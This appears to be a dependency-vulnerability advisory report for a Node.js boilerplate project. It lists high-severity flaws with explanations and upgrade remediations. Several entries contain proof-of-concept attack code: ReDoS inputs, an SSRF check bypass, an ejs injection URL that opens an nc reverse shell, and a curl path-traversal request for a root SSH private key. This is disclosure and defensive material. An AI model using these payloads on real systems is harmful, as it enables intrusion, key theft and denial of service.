Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: cross-spawn
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › cross-spawn@5.1.0Remediation: Upgrade to next@8.0.4.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn
to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: ip
- Introduced through: ip@1.1.5
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › ip@1.1.5Remediation: Upgrade to ip@1.1.9.
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the isPublic
function, by failing to identify hex-encoded 0x7f.1
as equivalent to the private addess 127.0.0.1
. An attacker can expose sensitive information, interact with internal services, or exploit other vulnerabilities within the network by exploiting this vulnerability.
PoC
var ip = require('ip');
console.log(ip.isPublic("0x7f.1"));
//This returns true. It should be false because 0x7f.1 == 127.0.0.1 == 0177.1
Remediation
Upgrade ip
to version 1.1.9, 2.0.1 or higher.
References
high severity
- Vulnerable module: body-parser
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › body-parser@1.18.3Remediation: Upgrade to express@4.20.0.
Overview
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser
and urlencoded
functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.
Remediation
Upgrade body-parser
to version 1.20.3 or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › ejs@2.7.4
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › serialize-javascript@1.9.1Remediation: Upgrade to next@7.0.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString()
backslash-escapes all forward slashes in regular expressions.
NOTE: This vulnerability has also been identified as: CVE-2019-16769
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 2.1.1 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › serialize-javascript@1.9.1Remediation: Upgrade to next@7.0.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString()
backslash-escapes all forward slashes in regular expressions.
NOTE: This vulnerability has also been identified as: CVE-2019-16772
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript
to version 2.1.1 or higher.
References
high severity
- Vulnerable module: serialize-javascript
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › terser-webpack-plugin@1.0.2 › serialize-javascript@1.9.1Remediation: Upgrade to next@7.0.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"}
would be serialized as {"foo": /1"/, "bar": "a\/1"/}
, meaning an attacker could escape out of bar
if they controlled both foo
and bar
and were able to guess the value of <UID>
. UID is generated once on startup, is chosen using Math.random()
and has a keyspace of roughly 4 billion, so within the realm of an online attack.
PoC
eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');
Remediation
Upgrade serialize-javascript
to version 3.1.0 or higher.
References
high severity
- Vulnerable module: ansi-html
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › ansi-html@0.0.7Remediation: Upgrade to next@8.0.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack-hot-middleware@2.22.3 › ansi-html@0.0.7Remediation: Upgrade to next@9.3.4.
Overview
ansi-html is an An elegant lib that converts the chalked (ANSI) text to HTML.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.
PoC
require('ansi-html')('x1b[0mx1b[' + '0'.repeat(35))
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-html
to version 0.0.9 or higher.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to next@9.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack-hot-middleware@2.22.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to next@9.3.4.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: braces
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › braces@2.3.2Remediation: Upgrade to next@10.0.6.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces
to version 3.0.3 or higher.
References
high severity
- Vulnerable module: loader-utils
- Introduced through: next@7.0.2 and offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › loader-utils@1.1.0Remediation: Upgrade to next@10.0.6.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › styled-jsx@3.1.0 › loader-utils@1.1.0Remediation: Upgrade to next@12.0.9.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › loader-utils@0.2.17
Overview
Affected versions of this package are vulnerable to Prototype Pollution in parseQuery
function via the name variable in parseQuery.js
. This pollutes the prototype of the object returned by parseQuery
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade loader-utils
to version 1.4.1, 2.0.3 or higher.
References
high severity
- Vulnerable module: micromatch
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10Remediation: Upgrade to next@10.0.6.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces()
function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch
to version 4.0.8 or higher.
References
high severity
- Vulnerable module: moment
- Introduced through: moment@2.23.0
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › moment@2.23.0Remediation: Upgrade to moment@2.29.2.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade moment
to version 2.29.2 or higher.
References
high severity
- Vulnerable module: moment
- Introduced through: moment@2.23.0
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › moment@2.23.0Remediation: Upgrade to moment@2.29.4.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the preprocessRFC2822()
function in from-string.js
, when processing a very long crafted string (over 10k characters).
PoC:
moment("(".repeat(500000))
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
